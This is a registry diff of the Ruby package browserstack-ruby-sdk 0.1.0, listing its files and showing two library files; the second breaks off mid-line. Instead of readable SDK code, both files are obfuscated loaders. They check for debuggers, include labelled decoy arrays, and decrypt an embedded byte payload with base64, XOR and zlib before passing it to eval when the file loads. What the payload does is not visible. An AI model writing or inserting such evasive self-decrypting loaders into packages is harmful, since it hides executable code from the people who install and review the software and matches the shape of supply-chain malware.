browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_b61ba31 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_j2b607e = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _j2b607e) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_z4c25a6 = _b61ba31.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_cc04205 = ->(_nda3631, _db62d44) do
|
|
32
|
+
_uf12f20 = []
|
|
33
|
+
_nda3631.each_with_index do |byte, idx|
|
|
34
|
+
_uf12f20 << (byte ^ _db62d44[idx % _db62d44.length])
|
|
35
|
+
end
|
|
36
|
+
_uf12f20
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_gf2edb0 = lambda do |_a3f957a, _ncd918d, _ub6cf0d, _m3a2047|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_a3f957a.pack('C*'))
|
|
44
|
+
if current_hash != _m3a2047
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_a3f957a = [146, 117, 135, 29, 223, 25, 46, 159, 234, 175, 91, 202, 251, 175, 7, 200, 249, 79, 116, 95, 44, 156, 86, 110, 155, 246, 119, 51, 207, 251, 23, 20, 220, 142, 81, 213, 175, 110, 113, 40, 57, 6, 204, 138, 193, 66, 70, 219, 197, 176, 45, 125, 234, 21, 218, 35, 18, 190, 230, 132, 38, 227, 158, 129, 23, 61, 93, 38, 211, 201, 142, 32, 228, 118, 196, 126, 252, 178, 235, 68, 45, 234, 171, 121, 165, 104, 26, 79, 107, 73, 19, 51, 230, 73, 201, 183, 139, 254, 255, 244, 200, 5, 190, 110, 52, 22, 105, 189, 70, 50, 95, 233, 130, 27, 208, 8, 146, 56, 234, 230, 56, 138, 231, 232, 81, 62, 118, 26, 167, 53, 194, 68, 163, 12, 59, 140, 133, 248, 45, 70, 240, 187, 93, 92, 178, 114, 233, 89, 233, 185, 181, 40, 42, 26, 36, 95, 14, 77, 84, 185, 185, 201, 137, 108, 106, 245, 16, 91, 219, 14, 60, 183, 253, 31, 189, 93, 16, 53, 23, 195, 168, 98, 205, 56, 78, 25, 207, 252, 112, 99, 210, 94, 58, 163, 167, 113, 136, 154, 214, 47, 150, 144, 6, 105, 51, 12, 215, 23, 160, 229, 89, 58, 10, 47, 46, 75, 188, 245, 155, 19, 208, 18, 104, 114, 28, 118, 238, 12, 129, 104, 148, 145, 191, 200, 105, 32, 3, 28, 42, 15, 252, 114, 118, 25, 158, 142, 203, 132, 49, 72, 228, 4, 54, 86, 235, 140, 110, 87, 196, 255, 172, 209, 107, 82, 67, 117, 51, 146, 87, 81, 193, 118, 26, 136, 102, 239, 14, 159, 207, 160, 62, 66, 39, 217, 29, 124, 123, 204, 14, 36, 36, 18, 98, 36, 64, 33, 66, 37, 154, 83, 253, 228, 5, 63, 151, 25, 78, 46, 223, 20, 198, 29, 157, 62, 66, 131, 62, 16, 255, 229, 189, 36, 99, 13, 221, 232, 37, 222, 181, 8, 14, 106, 32, 123, 248, 219, 242, 132, 194, 168, 69, 182, 200, 153, 6, 233, 92, 46, 36, 90, 44, 24, 217, 160, 62, 3, 244, 25, 229, 116, 159, 171, 62, 205, 159, 90, 29, 113, 123, 197, 45, 242, 55, 252, 83, 86, 62, 91, 129, 170, 240, 230, 204, 155, 60, 187, 47, 24, 117, 139, 167, 106, 243, 128, 88, 174, 240, 157, 204, 134, 249, 103, 65, 142, 127, 31, 165, 128, 172, 75, 142, 64, 77, 99, 157, 223, 144, 88, 251, 253, 30, 161, 230, 202, 3, 245, 218, 174, 75, 26, 59, 173, 145, 114, 121, 94, 91, 209, 182, 53, 38, 147, 21, 24, 237, 89, 40, 120, 7, 119, 231, 112, 99, 129, 205, 218, 88, 48, 72, 216, 7, 58, 123, 166, 108, 235, 120, 223, 235, 69, 54, 200, 248, 0, 250, 36, 119, 218, 1, 84, 1, 185, 141, 177, 191, 53, 191, 38, 191, 115, 112, 228, 99, 171, 36, 203, 95, 47, 182, 91, 89, 195, 237, 131, 247, 24, 25, 173, 0, 132, 99, 71, 156, 132, 191, 54, 214, 1, 102, 201, 160, 84, 47, 125, 88, 238, 70, 115, 173, 214, 233, 241, 127, 44, 10, 22, 202, 197, 191, 185, 20, 6, 97, 93, 195, 5, 31, 89, 227, 215, 41, 185, 3, 198, 252, 126, 71, 43, 39, 46, 165, 22, 222, 166, 49, 9, 132, 133, 110, 240, 133, 13, 33, 240, 104, 63, 102, 55, 5, 203, 185, 122, 75, 132, 209, 142, 59, 148, 241, 146, 190, 132, 98, 202, 132, 94, 18, 104, 230, 84, 48, 18, 170, 36, 44, 88, 164, 211, 225, 135, 222, 249, 48, 95, 134, 126, 41, 97, 114, 111, 187, 4, 126, 81, 226, 63, 122, 200, 170, 106, 223, 188, 188, 168, 89, 149, 242, 118, 27, 105, 168, 41, 110, 132, 34, 79, 34, 128, 188, 37, 55, 8, 243, 3, 113, 39, 138, 137, 104, 174, 146, 196, 43, 181, 173, 103, 154, 204, 62, 98, 36, 5, 41, 217, 198, 60, 197, 147, 26, 156, 36, 111, 185, 25, 227, 49, 0, 5, 19, 219, 133, 141, 190, 91, 120, 93, 19, 94, 165, 119, 50, 196, 139, 131, 179, 236, 88, 33, 197, 162, 6, 170, 37, 123, 71, 2, 57, 167, 125, 10, 199, 103, 74, 102, 53, 27, 252, 63, 154, 114, 136, 78, 5, 18, 96, 252, 92, 124, 218, 116, 195, 73, 64, 80, 195, 40, 203, 60, 17, 169, 219, 16, 200, 126, 210, 63, 143, 239, 145, 201, 104, 30, 11, 3, 233, 49, 38, 248, 51, 191, 51, 146, 219, 208, 12, 75, 197, 215, 119, 120, 114, 173, 70, 247, 9, 87, 176, 235, 174, 124, 223, 9, 143, 103, 195, 26, 101, 101, 1, 145, 232, 235, 231, 100, 14, 30, 199, 182, 89, 1, 113, 98, 152, 228, 197, 130, 211, 112, 181, 2, 154, 139, 203, 234, 176, 244, 238, 178, 201, 232, 160, 187, 202, 25, 98, 202, 14, 240, 154, 192, 30, 222, 206, 171, 110, 59, 16, 68, 19, 132, 110, 153, 92, 240, 101, 233, 36, 219, 142, 194, 91, 218, 216, 92, 112, 98, 65, 136, 8, 71, 234, 52, 148, 166, 164, 197, 64, 6, 100, 8, 191, 116, 147, 245, 162, 168, 30, 102, 39, 236, 203, 147, 40, 234, 172, 0, 131, 125, 56, 38, 63, 120, 62, 209, 239, 44, 39, 194, 181, 208, 51, 64, 19, 129, 227, 40, 102, 223, 209, 90, 246, 61, 144, 9, 83, 103, 136, 176, 28, 55, 22, 117, 49, 222, 244, 153, 188, 95, 104, 31, 224, 105, 58, 17, 56, 178, 193, 217, 218, 111, 237, 23, 175, 185, 81, 201, 190, 164, 223, 38, 163, 127, 173, 80, 12, 48, 252, 181, 172, 39, 5, 56, 141, 176, 76, 114, 10, 85, 64, 242, 81, 90, 217, 233, 195, 232, 205, 180, 38, 226, 180, 79, 250, 123, 113, 60, 133, 88, 20, 221, 197, 123, 81, 137, 124, 145, 142, 149, 244, 3, 156, 48, 64, 169, 64, 50, 139, 254, 34, 241, 73, 34, 78, 118, 15, 54, 134, 80, 179, 156, 223, 38, 16, 135, 217, 46, 96, 199, 249, 27, 136, 23, 169, 74, 178, 96, 28, 58, 121, 238, 158, 150, 196, 123, 184, 247, 199, 33, 118, 201, 235, 145, 247, 116, 197, 66, 132, 168, 9, 180, 131, 202, 88, 67, 78, 116, 49, 159, 43, 68, 145, 191, 75, 226, 43, 141, 161, 35, 139, 2, 129, 26, 122, 122, 199, 56, 188, 183, 182, 178, 82, 57, 30, 157, 114, 245, 25, 154, 24, 9, 161, 200, 77, 228, 189, 1, 179, 36, 234, 164, 129, 192, 239, 246, 205, 23, 131, 239, 168, 173, 169, 121, 108, 92, 87, 25, 247, 209, 78, 237, 14, 176, 110, 44, 187, 95, 179, 93, 126, 176, 90, 111, 108, 203, 36, 48, 224, 16, 54, 174, 43, 185, 177, 21, 198, 23, 158, 17, 3, 73, 145, 25, 152, 84, 42, 234, 96, 88, 17, 158, 90, 219, 228, 44, 229, 25, 196, 64, 149, 243, 183, 251, 179, 226, 232, 33, 36, 218, 59, 33, 161, 150, 126, 8, 238, 234, 119, 32, 53, 208, 36, 220, 230, 206] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_jea302b = [189, 190, 95, 130, 83, 197, 37, 253, 98, 204, 97, 105, 242, 207, 141, 27, 234, 175, 138, 207]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_ncd918d = [1, 0, 1, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_m3a2047 = '0e3a38cb5d03020e491ddffc8081a7efdfa1dd48c2367a3fdc77dc128f78d1f2'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_c7ca1bb = [187, 31, 100, 17, 203, 138, 223, 97, 101, 134, 24, 113, 162, 9, 194, 87, 179, 48, 151, 166, 41, 41, 125, 237, 18, 108, 172, 201, 78, 126, 254, 216, 38, 205, 196, 117, 233, 248, 217, 136, 246, 146, 150, 27, 215, 152, 87, 217, 170, 86, 89, 166, 205, 208, 142, 212, 29, 112, 111, 189, 175, 12, 159, 207, 35, 235, 14, 22, 173, 214, 118, 73, 110, 10, 23, 12, 138, 52, 21, 231, 151, 215, 249, 99, 8, 21, 71, 68, 229, 167, 89, 204, 64, 8, 22, 248, 42, 198, 211, 185, 88, 93, 243, 148, 99, 118, 221, 179, 98, 16, 21, 119, 85, 244, 211, 132, 15, 248, 12, 158, 191, 41, 7, 50, 98, 76, 239, 47, 151, 234, 50, 57, 227, 0, 101, 17]
|
|
64
|
+
_d047962 = [87, 23, 125, 236, 228, 54, 244, 154, 231, 161, 252, 203, 123, 108, 206, 213, 85, 249, 19, 94, 99, 224, 64, 141, 168, 49, 214, 135, 215, 203, 104, 143, 103, 81, 65, 21, 161, 95, 30, 25, 140, 249, 11, 44, 123, 147, 4, 146, 67, 237, 33, 32, 252, 108, 239, 231, 12, 69, 133, 181, 34, 207, 6, 137, 43, 199, 73, 93, 145, 240, 162, 101, 136, 74, 171, 114, 244, 151, 252, 254, 78, 98, 225, 144, 119, 119, 63, 119, 225, 92, 70, 38, 46, 97, 134, 135, 143, 95]
|
|
65
|
+
_m68c476 = [228, 240, 213, 30, 17, 244, 8, 212, 75, 139, 144, 237, 189, 162, 233, 221, 115, 244, 124, 184, 78, 254, 178, 57, 11, 91, 245, 227, 69, 205, 153, 226, 27, 173, 217, 100, 144, 161, 214, 78, 192, 189, 234, 240, 89, 66, 109, 54, 55, 137, 28, 13, 43, 136, 125, 45, 0, 121, 49, 244, 164, 224, 110, 10, 162, 110, 37, 229, 173, 54, 77, 217, 199, 69, 89, 43, 14, 67, 219, 245, 209, 141, 193, 142, 183, 137, 11, 131, 85, 178, 150, 166, 92, 133, 181, 219, 73, 252, 241, 144, 195, 243, 63, 206, 17, 147, 112, 113, 219, 47, 59, 180, 195, 46, 132, 165, 139, 204, 146, 36, 178, 6, 84, 179, 86, 55]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _gf2edb0.call(_a3f957a, _ncd918d, _jea302b, _m3a2047)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_lcaf7e6 = _a3f957a.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_l09d6f5|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_x23d78e = 5 - _l09d6f5 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_p25688f = 4
|
|
84
|
+
_t4d1d96 = _x23d78e * _p25688f
|
|
85
|
+
_bb91040 = _jea302b[_t4d1d96, _p25688f]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _ncd918d[_x23d78e] == 1
|
|
93
|
+
_p425289 = _lcaf7e6.pack('C*')
|
|
94
|
+
_p425289 = Base64.strict_decode64(_p425289)
|
|
95
|
+
_lcaf7e6 = _p425289.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_lcaf7e6 = _cc04205.call(_lcaf7e6, _bb91040)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_p425289 = _lcaf7e6.pack('C*')
|
|
103
|
+
_p425289 = Zlib::Inflate.inflate(_p425289)
|
|
104
|
+
_lcaf7e6 = _p425289.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_bd7429a = _lcaf7e6.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _bd7429a.strip.empty? || _bd7429a.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_bd7429a, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _yab088b
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_yab088b.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_i3a5a09 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_e7ac324 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _e7ac324) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_jc76c00 = _i3a5a09.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_wa5739e = ->(_n1de0f1, _o5973ad) do
|
|
32
|
+
_o1da492 = []
|
|
33
|
+
_n1de0f1.each_with_index do |byte, idx|
|
|
34
|
+
_o1da492 << (byte ^ _o5973ad[idx % _o5973ad.length])
|
|
35
|
+
end
|
|
36
|
+
_o1da492
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_wf6f1c5 = lambda do |_mba5e45, _x257161, _t044a46, _gd67923|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_mba5e45.pack('C*'))
|
|
44
|
+
if current_hash != _gd67923
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_mba5e45 = [1, 144, 86, 57, 190, 232, 56, 184, 121, 74, 131, 247, 203, 194, 101, 50, 155, 103, 39, 41, 252, 155, 37, 219, 219, 253, 35, 61, 137, 191, 188, 100, 69, 116, 13, 204, 71, 136, 97, 98, 75, 150, 223, 73, 98, 37, 145, 54, 45, 48, 40, 136, 247, 231, 145, 188, 1, 155, 94, 241, 39, 88, 191, 230, 110, 105, 218, 193, 34, 147, 142, 118, 108, 199, 44, 202, 66, 75, 90, 101, 172, 56, 103, 181, 193, 1, 159, 133, 222, 56, 175, 43, 177, 189, 59, 114, 114, 105, 142, 49, 38, 127, 110, 38, 76, 67, 39, 82, 4, 17, 28, 203, 243, 92, 191, 2, 8, 141, 203, 125, 5, 140, 156, 233, 63, 24, 116, 155, 246, 78, 153, 156, 182, 177, 106, 119, 110, 193, 120, 38, 252, 15, 137, 31, 147, 68, 10, 24, 44, 29, 130, 56, 169, 0, 14, 181, 82, 71, 146, 93, 46, 20, 161, 183, 0, 39, 18, 43, 214, 185, 4, 154, 38, 61, 10, 177, 210, 224, 74, 190, 244, 228, 69, 113, 143, 179, 166, 239, 237, 47, 173, 184, 148, 199, 34, 236, 176, 144, 175, 141, 155, 47, 195, 87, 231, 248, 69, 79, 32, 62, 227, 49, 154, 173, 130, 167, 166, 120, 87, 201, 86, 254, 157, 185, 6, 154, 252, 31, 151, 58, 203, 221, 72, 100, 207, 240, 141, 204, 89, 215, 226, 125, 199, 162, 197, 219, 240, 195, 108, 236, 117, 9, 19, 202, 49, 52, 54, 253, 119, 147, 220, 182, 134, 75, 39, 251, 23, 23, 54, 12, 72, 144, 83, 33, 237, 47, 169, 116, 197, 84, 178, 24, 254, 166, 84, 209, 182, 153, 225, 183, 74, 70, 6, 25, 175, 160, 2, 178, 209, 49, 148, 12, 166, 59, 188, 252, 59, 237, 59, 79, 145, 129, 202, 201, 92, 240, 240, 139, 119, 204, 42, 224, 123, 129, 121, 142, 146, 190, 127, 255, 47, 132, 76, 186, 200, 185, 200, 110, 118, 208, 252, 81, 213, 199, 252, 2, 30, 229, 222, 153, 155, 41, 38, 203, 210, 34, 112, 252, 136, 193, 61, 35, 108, 68, 30, 155, 251, 122, 13, 61, 199, 220, 37, 104, 173, 19, 69, 12, 150, 81, 252, 132, 186, 82, 143, 221, 47, 212, 216, 209, 71, 57, 176, 235, 234, 71, 236, 86, 66, 22, 52, 52, 208, 160, 16, 77, 58, 158, 49, 56, 214, 19, 101, 27, 124, 52, 25, 177, 144, 36, 16, 165, 20, 207, 179, 218, 146, 141, 204, 62, 79, 141, 79, 215, 35, 121, 130, 186, 48, 227, 24, 159, 28, 99, 240, 238, 200, 243, 253, 187, 118, 151, 108, 211, 67, 221, 160, 251, 37, 109, 113, 128, 166, 171, 146, 51, 105, 56, 122, 199, 8, 124, 237, 0, 184, 0, 81, 84, 205, 182, 88, 128, 145, 38, 173, 148, 127, 210, 62, 186, 250, 6, 17, 203, 87, 14, 193, 8, 254, 205, 167, 127, 254, 238, 140, 115, 234, 250, 205, 26, 78, 236, 99, 76, 156, 244, 169, 236, 225, 122, 61, 10, 48, 38, 255, 229, 136, 220, 182, 187, 178, 101, 20, 106, 110, 131, 19, 23, 208, 253, 82, 31, 70, 169, 202, 143, 86, 63, 168, 30, 37, 151, 7, 209, 184, 35, 183, 221, 111, 28, 5, 197, 181, 236, 22, 199, 187, 135, 63, 197, 176, 139, 122, 204, 25, 235, 86, 100, 52, 135, 43, 124, 235, 32, 228, 243, 22, 28, 114, 72, 202, 193, 81, 216, 230, 112, 102, 200, 11, 12, 163, 203, 207, 56, 239, 214, 83, 134, 76, 238, 60, 112, 151, 121, 238, 163, 62, 31, 242, 15, 11, 0, 231, 81, 35, 201, 50, 255, 218, 160, 184, 157, 199, 206, 186, 55, 240, 176, 102, 171, 162, 24, 77, 134, 227, 244, 93, 66, 28, 17, 242, 139, 16, 80, 112, 25, 17, 49, 168, 13, 163, 207, 101, 11, 103, 149, 250, 27, 107, 251, 134, 196, 25, 11, 242, 69, 63, 126, 228, 144, 49, 148, 152, 133, 175, 37, 229, 66, 188, 147, 112, 109, 213, 62, 179, 71, 134, 221, 221, 210, 16] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_z609319 = [109, 107, 161, 211, 14, 56, 59, 250, 4, 84, 38, 26, 25, 225, 144, 85, 121, 74, 83, 248]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_x257161 = [0, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_gd67923 = '377b63e790d7af3e8c95cb0790d682286ea50ed67b306d36a543404e27e35f18'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_ae74a0d = [230, 5, 253, 239, 142, 52, 126, 21, 67, 113, 235, 150, 224, 16, 182, 123, 204, 186, 31, 243, 34, 18, 13, 187, 10, 39, 60, 174, 172, 142, 64, 208, 241, 183, 182, 179, 59, 147, 123, 69, 234, 95, 72, 158, 164, 132, 6, 71, 174, 12, 45, 167, 151, 29, 97, 250, 240, 148, 100, 176, 235, 177, 172, 32, 46, 216, 115, 67, 214, 206, 189, 66, 158, 60, 100, 87, 208, 160, 124, 21, 102, 184, 49, 147, 229, 55, 138, 163, 172, 132, 166, 107, 52, 175, 241, 82, 190, 155, 43, 190, 186, 234, 243, 19, 50, 86, 171, 59, 185, 253, 150, 208, 98, 84, 40, 165, 185, 227]
|
|
64
|
+
_v348b87 = [121, 89, 212, 158, 199, 131, 88, 65, 61, 197, 158, 210, 130, 25, 176, 60, 205, 233, 131, 40, 90, 66, 133, 49, 224, 151, 84, 44, 185, 205, 27, 158, 71, 183, 166, 22, 109, 42, 170, 170, 223, 154, 37, 202, 207, 67, 136, 27, 236, 59, 241, 66, 223, 4, 198, 189, 14, 225, 99, 252, 243, 84, 157, 87, 105, 80, 211, 82, 241, 198, 34, 223, 53, 8]
|
|
65
|
+
_x22ca25 = [7, 60, 244, 180, 146, 28, 207, 159, 144, 94, 59, 136, 159, 153, 75, 5, 166, 180, 248, 87, 208, 142, 62, 38, 151, 147, 135, 128, 123, 107, 255, 240, 247, 213, 34, 55, 156, 10, 1, 247, 25, 82, 206, 17, 172, 75, 98, 148, 9, 219, 130, 40, 205, 120, 162, 220, 177, 43, 156, 72, 22, 31, 109, 76, 44, 128, 103, 169, 170, 196, 202, 163, 122, 253, 224, 62, 45, 136, 158, 219, 51, 246, 2, 94, 67, 6, 66, 160, 199, 253, 79, 145, 57, 181, 250, 163, 58, 45, 157, 24, 219, 218, 194, 230, 68, 50, 7, 32, 182, 223, 84, 156, 50, 83, 200, 196, 20, 6, 67, 160, 51, 231, 118, 35, 146, 6, 14, 144, 157, 32, 190, 39, 101, 142, 208, 147, 46, 179, 208, 194, 220, 213, 75, 251, 23, 245, 58]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _wf6f1c5.call(_mba5e45, _x257161, _z609319, _gd67923)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_vbeb0ed = _mba5e45.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_n254812|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_fa49a86 = 5 - _n254812 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_x9e4efa = 4
|
|
84
|
+
_t145386 = _fa49a86 * _x9e4efa
|
|
85
|
+
_a054a4d = _z609319[_t145386, _x9e4efa]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _x257161[_fa49a86] == 1
|
|
93
|
+
_p10da67 = _vbeb0ed.pack('C*')
|
|
94
|
+
_p10da67 = Base64.strict_decode64(_p10da67)
|
|
95
|
+
_vbeb0ed = _p10da67.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_vbeb0ed = _wa5739e.call(_vbeb0ed, _a054a4d)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_p10da67 = _vbeb0ed.pack('C*')
|
|
103
|
+
_p10da67 = Zlib::Inflate.inflate(_p10da67)
|
|
104
|
+
_vbeb0ed = _p10da67.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_o51e260 = _vbeb0ed.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _o51e260.strip.empty? || _o51e260.length < 10
|
|
112
|
+
